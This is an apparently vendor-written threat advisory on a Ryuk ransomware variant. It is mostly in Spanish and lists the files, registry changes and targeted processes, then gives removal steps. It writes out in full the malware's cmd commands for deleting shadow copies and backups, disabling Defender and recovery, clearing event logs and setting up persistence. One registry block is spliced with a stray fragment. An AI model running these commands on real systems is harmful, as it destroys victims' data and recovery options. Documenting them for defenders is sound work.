Author: Melvin Jhun Palbusa   
 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Ransomware

  • Destructiveness:
    No

  • Encrypted:
     

  • In the wild::
    Yes

  OVERVIEW

INFECTION CHANNEL: Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 906,752 bytes
File type: EXE
Memory resident: Yes
INITIAL SAMPLES RECEIVED DATE: 22 de lutego de 2023
PAYLOAD: Drops files, Modifies system registry, Terminates processes, Encrypts files, Displays message/message boxes

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • {Encrypted Directory}\hrmlog1
  • %All Users Profile%\hrmlog2
  • %All Users Profile%\nons
  • %All Users Profile%\ryuk.exe
  • %All Users Profile%\RYUKID
  • {Encrypted Directory}RyukReadMe.html
  • {Encrypted Directory}\RyukReadMe.txt
  • %programdata%\Microsoft\windows\StartMenu\Programs\Startup\ryuk.exe

Agrega los procesos siguientes:

  • %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:ProgramData\ryuk.exe /RU SYSTEM /RL HIGHEST /F
  • %System%\cmd.exe /c copy C:\ProgramData\ryuk.exe\"%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe
  • %System%\cmd.exe /c copy C:\ProgramData\ryuk.exe\"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exe
  • %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RYUK /TR C:\ProgramData\ryuk.exe /F
  • %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN ryk /TR {malware filepath} /RU SYSTEM /RL HIGHEST /F
  • %System%\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN RyuK /TR {malware filepath} /F
  • %System%\cmd.exe /c attrbi +h +s \"%appdata%\Microsoft\windows\StartMenu\Programs\Startup\ryuk.exe\"
  • %System%\cmd.exe /c attrbi +h +s ryuk.exe
  • %System%\cmd.exe /c attrbi +h +s C:\ProgramData\ryuk.exe
  • start cmd.exe /c icacls * grant Everyone: (OI)(CI)F /T /C /Q
  • start cmd.exe /c taskkill /t /f /im sql* && taskkill /f /t /im veeam* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM pvx* && taskkill /F /T /IM dbsrv* && exit
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c Copy hrmlog1 %ProgramData%\hrmlog1
  • %System%\cmd.exe /c Copy hrmlog2 %ProgramData%\hrmlog2
  • %System%\cmd.exe /c Copy RYUKID %ProgramData%\RYUKID
  • %System%\cmd.exe /c Copy RYUKID %ProgramData%\RyukReadMe.html
  • %System%\cmd.exe /c Copy %ProgramData%\hrmlog1 %userprofile%\Desktop\hrmlog1
  • %System%\cmd.exe /c Copy %ProgramData%\RyukReadMe.txt %userprofile%\Desktop\RyukReadMe.txt
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
  • %System%\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
  • start cmd.exe /c \"C:\ProgramData\RyukReadMe.txt \" && exit
  • start cmd.exe /c vssadmin Delete Shadows /All /Quiet
  • start cmd.exe /c wmic shadowcopy delete
  • start cmd.exe /c bcdedit /set {default} boostatuspolicy ignoreallfailures
  • start cmd.exe /c bcdedit /set {default} recoveryenabled no
  • start cmd.exe /c wbadmin delete catalog -quiet/
  • %System%\cmd.exe /c net stop avpsus /y
  • %System%\cmd.exe /c net stop McAfeeDLPAgentService /y
  • %System%\cmd.exe /c net stop mfewc /y
  • %System%\cmd.exe /c net stop BMR Boot Service /y
  • %System%\cmd.exe /c net stop NetBackup BMR MTFTP Service /y
  • %System%\cmd.exe /c sc config SQLTELEMETRY$ECWDB2 start= disabled
  • %System%\cmd.exe /c sc config SQLWriter start= disabled
  • %System%\cmd.exe /c sc config SstpSvc start= disabled
  • %System%\cmd.exe /c taskkill /IM mspub.exe /F
  • %System%\cmd.exe /c taskkill /IM mydesktopqos.exe /F
  • %System%\cmd.exe /c taskkill /IM mydesktopservice.exe /F
  • %System%\cmd.exe /c vssadmin Delete Shadows /all /quiet
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
  • %System%\cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  • %System%\cmd.exe /c vssadmin Delete Shadows /all /quiet
  • %System%\cmd.exe /c del /s /f /q c:*.bac c:*.bak c:*.wbcat c:*.bkf c:Backup*.* c:\backup*.* c:*.set c:*.win
  • %System%\cmd.exe /c del /s /f /q d:*.bac d:*.bak d:*.wbcat d:*.bkf d:Backup*.* d:\backup*.* d:*.set d:*.win
  • %System%\cmd.exe /c del /s /f /q e:*.bac e:*.bak e:*.wbcat e:*.bkf e:Backup*.* e:\backup*.* e:*.set e:*.win
  • %System%\cmd.exe /c del /s /f /q f:*.bac f:*.bak f:*.wbcat f:*.bkf f:Backup*.* f:\backup*.* f:*.set f:*.win
  • %System%\cmd.exe /c del /s /f /q g:*.bac g:*.bak g:*.wbcat g:*.bkf g:Backup*.* g:\backup*.* g:*.set g:*.win
  • %System%\cmd.exe /c del /s /f /q h:*.bac h:*.bak h:*.wbcat h:*.bkf h:Backup*.* h:\backup*.* h:*.set h:*.win
  • %System%\cmd.exe /c del %0
  • %System%\cmd.exe /c attrib +h +s hrmlog2
  • %System%\cmd.exe /c attrib +h +s C:\ProgramData\hrmlog2
  • %System%\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSearchFilesInStartMenu /t REG_DWORD /d 1 /f
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSearchProgramsInStartMenu /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMConfigurePrograms /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoNetworkConnections /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer /v TaskbarNoPinnedList /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCANetwork /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCAHealth /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\AppV\Client\Virtualization /v EnableDynamicVirtualization /t REG_DWORD /d 0 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add \"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\" /v DisableConfig /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add \"HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\" /v DisableSR /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f"
  • %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f"
  • %System%\cmd.exe /c "schtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe /F"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f"
  • %System%\cmd.exe /c "for /F \"tokens=*\" %s in ('wevtutil.exe el') DO wevtutil.exe cl \"%s\""
  • %System%\cmd.exe /c "schtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe /F
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f"
  • %System%\cmd.exe /c "reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f"

(Nota: %System% es la carpeta del sistema de Windows, que en el caso de Windows 98 y ME suele estar en C:\Windows\System, en el caso de Windows NT y 2000 en C:\WINNT\System32 y en el caso de Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) y 10(64-bit) en C:\Windows\System32).

)

Agrega las siguientes exclusiones mutuas para garantizar que solo se ejecuta una de sus copias en todo momento:

  • rykmutex
  • rykmutex2

Técnica de inicio automático

Este malware infiltra el/los archivo(s) siguiente(s) en la carpeta de inicio de Windows para permitir su ejecución automática cada vez que se inicia el sistema:

  • %programdata%\Microsoft\windows\StartMenu\Programs\Startup\ryuk.exe

Otras modificaciones del sistema

Agrega las siguientes entradas de registro:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender
DisableAntiSpyware = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoSearchFilesInStartMenu = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoSearchProgramsInStartMenu = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoStartMenuMorePrograms = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoSMConfigurePrograms = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoNetworkConnections = 1

HKEY_CURRENT_USER\Software\Policies\
Microsoft\Windows\Explorer
TaskbarNoPinnedList = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoStartMenuPinnedList = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoRun = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
HideSCANetwork = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
HideSCAHealth = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableChangePassword = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableLockWorkstation = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
NoLogoff = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
NoDispCPL = 1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
NonEnum
{645FF040-5081-101B-9F08-00AA002F954E} = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\AppV\Client\
Virtualization
EnableDynamicVirtualization = 0

osoft\AppV\Client\
Virtualization /v EnableDynamicVirtualization /t REG_DWORD /d 0 /f" %System%\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\
Policies\Microsoft\Windows\
WinRE
DisableSetup = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows NT\SystemRestore
DisableConfig = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows NT\SystemRestore
DisableSR = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupToDisk = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupToNetwork = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupToOptical = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupLauncher = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableRestoreUI = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableBackupUI = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Client
DisableSystemBackupUI = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
OnlySystemBackup = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoBackupToDisk = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoBackupToNetwork = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoBackupToOptical = 1

HKEY_LOCAL_MACHINE\Software\Policies\
Microsoft\Windows\Backup\
Server
NoRunNowBackup = 1

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\WMI\Autologger\
EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de}
Enable = 0

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = 0

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoRun = 0

Finalización del proceso

Finaliza los procesos siguientes si detecta que se ejecutan en la memoria del sistema afectado:

  • mms.exe
  • schedul2.exe
  • schedhelp.exe
  • tib_mounter_monitor.exe
  • SQLIOSIM.EXE
  • Sqlagent.exe
  • sqlmaint.exe
  • sqlstubss.exe
  • csrss.exe
  • sqlceip.exe
  • mstsc.exe
  • taskmgr.exe
  • sqlservr.exe
  • QBIDPService.exe
  • sqlserver.exe
  • msftesql.exe
  • sqlagent.exe
  • sqlbrowser.exe
  • sqlwriter.exe
  • oracle.exe
  • ocssd.exe
  • dbsnmp.exe
  • synctime.exe
  • mydesktopqos.exe
  • agntsvc.exe
  • isqlpplussvc.exe
  • isqlpussvc.exe
  • xfssvccon.exe
  • mydesktopservice.exe
  • ocautoupds.exe
  • encsvc.exe
  • firefoxconfig.exe
  • tbirdconfig.exe
  • ocomm.exe
  • mysqld.exe
  • mysqld-nt.exe
  • mysqld-opt.exe
  • dbeng50.exe
  • sqbcoreservice.exe
  • excel.exe
  • infopath.exe
  • msaccess.exe
  • mspub.exe
  • onenote.exe
  • outlook.exe
  • powerpnt.exe
  • stream.exe
  • thebat.exe
  • thebat64.exe
  • Thunderbird.exe
  • visio.exe
  • winword.exe
  • wordpad.exe
  • notepad.exe
  • paint.exe
  • notepad++.exe
  • endnote.exe
  • vmwareuser.exe
  • vmwareservice.exe
  • vboxservice.exe
  • vboxtray.exe
  • Sandboxiedcomlaunch.exe
  • procmon.exe
  • regmon.exe
  • filemon.exe
  • wireshark.exe
  • netmon.exe
  • vmtoolsd.exe
  • ntoskrnl.exe
  • sqlwriter.exe
  • sqlservr.exe
  • Ssms.exe
  • cbService.exe
  • httpd.exe
  • jusched.exe
  • jucheck.exe
  • javaw.exe
  • java.exe
  • iptray.exe
  • Iperius.exe
  • FileZilla.exe
  • DataCollectorSvc.exe
  • EdgeTransport.exe
  • store.exe
  • acrotray.exe
  • agent.exe
  • SageCSClient.exe
  • wsusservice.exe
  • slack.exe
  • node.exe
  • w3wp.exe
  • mysqld.exe
  • mysql.exe
  • msmdsrv.exe
  • MsDtsSrvr.exe
  • fdlauncher.exe
  • fdhost.exe
  • Ssms.exe
  • ReportingServicesService.exe
  • dataCollect.EXE
  • WINWORD.EXE
  • OUTLOOK.EXE
  • EXCEL.EXE
  • Sage.NA.AT_AU.Service.exe
  • Sage.NA.AT_AU.SysTray.exe

Otros detalles

Hace lo siguiente:

  • Empty RecycleBin
  • Accepts the following parameters:
    • norunanayway → it wont proceed with its encryption routine
    • nostartup → it wont create its start up
    • openconsole → Show a Windows console
    • enabletask → Enable task scheduler

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 18.118.05
First VSAPI Pattern Release Date: 07 de grudnia de 2022
VSAPI OPR PATTERN-VERSION: 18.119.00
VSAPI OPR PATTERN DATE: 08 de grudnia de 2022

Step 2

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Eliminar este valor del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableTaskMgr 1
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender
    • DisableAntiSpyware 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • NoSearchFilesInStartMenu 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • NoSearchProgramsInStartMenu 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • NoStartMenuMorePrograms 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • NoSMConfigurePrograms 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • NoNetworkConnections 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • TaskbarNoPinnedList 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • NoStartMenuPinnedList 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • NoRun 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • HideSCANetwork 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • HideSCAHealth 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
    • DisableChangePassword 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
    • DisableLockWorkstation 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
    • NoLogoff 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
    • NoDispCPL 1
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NonEnum
    • {645FF040-5081-101B-9F08-00AA002F954E} 1
  • In HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\AppV\\Client\\Virtualization
    • EnableDynamicVirtualization 0
  • In HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WinRE
    • DisableSetup 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\SystemRestore
    • DisableConfig 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\SystemRestore
    • DisableSR 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client
    • DisableBackupToDisk 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client
    • DisableBackupToNetwork 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client
    • DisableBackupToOptical 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client
    • DisableBackupLauncher 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client
    • DisableRestoreUI 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client
    • DisableBackupUI 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Client
    • DisableSystemBackupUI
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Server
    • OnlySystemBackup 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Server
    • NoBackupToDisk 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Server
    • NoBackupToNetwork 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Server
    • NoBackupToOptical 1
  • In HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\Backup\\Server
    • NoRunNowBackup 1
  • In HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System\\{9580d7dd-0379-4658-9870-d5be7d52d6de}
    • Enable 0
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
    • DisableTaskMgr 0
  • In HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
    • NoRun 0

Step 5

Buscar y eliminar este archivo

[ learnMore ]
Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
  • {Encrypted Directory}\hrmlog1
  • %All Users Profile%\hrmlog2
  • %All Users Profile%\nons
  • %All Users Profile%\ryuk.exe
  • %All Users Profile%\RYUKID
  • {Encrypted Directory}RyukReadMe.html
  • {Encrypted Directory}\RyukReadMe.txt
  • %programdata%\Microsoft\windows\StartMenu\Programs\Startup\ryuk.exe

Step 6

Restore encrypted files from backup.

Step 7

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Ransom.Win64.RYUK.SMB En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


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